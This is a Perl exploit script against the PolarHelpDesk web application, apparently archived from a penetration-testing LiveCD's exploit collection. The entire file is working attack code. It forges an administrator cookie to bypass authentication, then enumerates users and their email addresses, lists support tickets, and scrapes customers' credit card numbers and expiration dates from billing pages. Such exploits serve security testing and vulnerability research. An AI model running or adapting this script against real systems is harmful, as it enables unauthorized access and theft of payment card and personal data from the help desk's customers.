home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / polarhelpdesk / PolarHelpDesk.pl < prev   
Perl Script  |  2005-02-12  |  5KB  |  205 lines

  1. #!/usr/bin/perl
  2. #
  3. # Beyond Security Ltd.
  4. # The below sample will do:
  5. # 1) Grab a user list
  6. # 2) Grab each user's email
  7. # 3) List all available Inbox tickets
  8. # 4) List all tickets with charge on them, and the credit card number and their expiration date
  9.  
  10. use IO::Socket;
  11. use strict;
  12.  
  13. my $host = $ARGV[0];
  14. my $base_path = $ARGV[1];
  15.  
  16. my $remote = IO::Socket::INET->new ( Proto => "tcp",
  17.        PeerAddr => $host,
  18.        PeerPort => "80"
  19.        );
  20.  
  21. unless ($remote) { die "cannot connect to http daemon on $host" }
  22.  
  23. print "connected\n";
  24.  
  25. $remote->autoflush(1);
  26.  
  27. my $content = "txtPassword=admin&txtEmail=admin\@admin&Submit=Log+in";
  28.  
  29. my $length = length($content);
  30.  
  31. my $base_path = $ARGV[1];
  32.  
  33. print "Get user list\n";
  34.  
  35. my $data_get_userlist = "GET /$base_path/user/modifyprofiles.asp HTTP/1.1\r\
  36. Host: $host\r\
  37. User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8\r\
  38. Connection: close\r\
  39. Cookie: HelpDesk_User=UserType=6&UserID=1;\r\
  40. \r\n";
  41.  
  42. print $remote $data_get_userlist;
  43. # print $data_get_userlist;
  44.  
  45. sleep(1);
  46.  
  47. my @names;
  48. while (<$remote>)
  49. {
  50.  if (/<td>Results /)
  51.  {
  52.   while (/<a href="profileinfo.asp\?ID=([0-9]+)">([^<]+)<\/a>/g)
  53.  {
  54.   my $Item;
  55.   $Item->{ID} = $1;
  56.   $Item->{Name} = $2;
  57.   print "ID: ".$Item->{ID}." Name: ".$Item->{Name}."\n";
  58.   push @names, $Item;
  59.  }
  60.  }
  61. }
  62. close $remote;
  63.  
  64. print "Get users' email\n";
  65.  
  66. my $data_get_userdata = "";
  67. foreach my $name (@names)
  68. {
  69.  $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" );
  70.  
  71.  unless ($remote) { die "cannot connect to http daemon on $host" }
  72.  
  73.  $data_get_userdata = "GET /$base_path/user/profileinfo.asp?ID=".$name->{ID}." HTTP/1.1\r\
  74. Host: $host\r\
  75. User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8\r\
  76. Connection: close\r\
  77. Cookie: HelpDesk_User=UserType=6&UserID=1;\r\
  78. \r\n";
  79.  
  80.  print $remote $data_get_userdata;
  81. # print $data_get_userdata;
  82.  
  83.  sleep(1);
  84.  
  85.  while (<$remote>)
  86.  {
  87.   if (/name="txtEmail" value="/)
  88.  {
  89.   /name="txtEmail" value="([^"]+)"/;
  90.   print "ID: ".$name->{ID}.", Email: $1\n";
  91.  }
  92.  }
  93.  close($remote);
  94. }
  95.  
  96. print "Get Inbox tickets\n";
  97.  
  98. my $data_get_inboxtickets = "GET /$base_path/ticketsupport/Tickets.asp?ID=4 HTTP/1.1\r\
  99. Host: $host\r\
  100. User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8\r\
  101. Connection: close\r\
  102. Cookie: HelpDesk_User=UserType=6&UserID=1;\r\
  103. \r\n";
  104.  
  105. $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" );
  106.  
  107. unless ($remote) { die "cannot connect to http daemon on $host" }
  108.  
  109. print $remote $data_get_inboxtickets;
  110. #print $data_get_inboxtickets;
  111.  
  112. sleep(1);
  113.  
  114. while (<$remote>)
  115. {
  116.  if (/Ticket #/)
  117.  {
  118. # print $_;
  119.   while (/<a href="tickets.asp\?ID=4&Personal=&TicketID=([0-9]+)[^>]+>([^<]+)<\/a>/g)
  120.  {
  121.   print "Ticket ID: $1, Name: $2\n";
  122.  }
  123.  }
  124. }
  125.  
  126. close($remote);
  127.  
  128. print "Get billing information\n";
  129.  
  130. my $data_get_billing = "GET /$base_path/billing/billingmanager_income.asp HTTP/1.1\r\
  131. Host: $host\r\
  132. User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8\r\
  133. Connection: close\r\
  134. Cookie: HelpDesk_User=UserType=6&UserID=1;\r\
  135. \r\n";
  136.  
  137. $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" );
  138.  
  139. unless ($remote) { die "cannot connect to http daemon on $host" }
  140.  
  141. print $remote $data_get_billing;
  142. sleep(1);
  143.  
  144. my @tickets;
  145.  
  146. while (<$remote>)
  147. {
  148.  if (/Ticket No./)
  149.  {
  150.   my $Item;
  151.   /<a href="..\/ticketsupport\/ticketinfo.asp\?ID=([0-9]+)">([^<]+)<\/a>/;
  152.  $Item->{ID} = $1;
  153.  $Item->{Name} = $2;
  154.   print "Ticket ID: ".$Item->{ID}.", Name: ".$Item->{Name}."\n";
  155.   push @tickets, $Item;
  156.  }
  157. }
  158.  
  159. close($remote);
  160.  
  161. foreach my $ticket (@tickets)
  162. {
  163.  my $data_get_billingcreditcard = "GET /$base_path/billing/billingmanager_ticketinfo.asp?ID=".$ticket->{ID}." HTTP/1.1\r\
  164. Host: $host\r\
  165. User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8\r\
  166. Connection: close\r\
  167. Cookie: HelpDesk_User=UserType=6&UserID=1;\r\
  168. \r\n";
  169.  $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" );
  170.  
  171.  unless ($remote) { die "cannot connect to http daemon on $host" }
  172.  
  173.  print $remote $data_get_billingcreditcard;
  174.  sleep(1);
  175.  
  176.  my $Count = 0;
  177.  my $Print = 0;
  178.  while (<$remote>)
  179.  {
  180.   if ($Print)
  181.  {
  182.   $Count ++;
  183.   if ($Count > 1)
  184.   {
  185.    /<td[^>]+>([^<]+)<\/td>/;
  186.    print $1, "\n";
  187.   $Print = 0;
  188.   }
  189.  }
  190.  if (/Expiration date<br>/)
  191.  {
  192.   print "Expiration date: ";
  193.   $Count = 0;
  194.   $Print = 1;
  195.  }
  196.   if (/Credit Card<br>/)
  197.  {
  198.   print "Credit Card: ";
  199.   $Count = 0;
  200.   $Print = 1;
  201.  }
  202.  }
  203. }
  204.  
  205.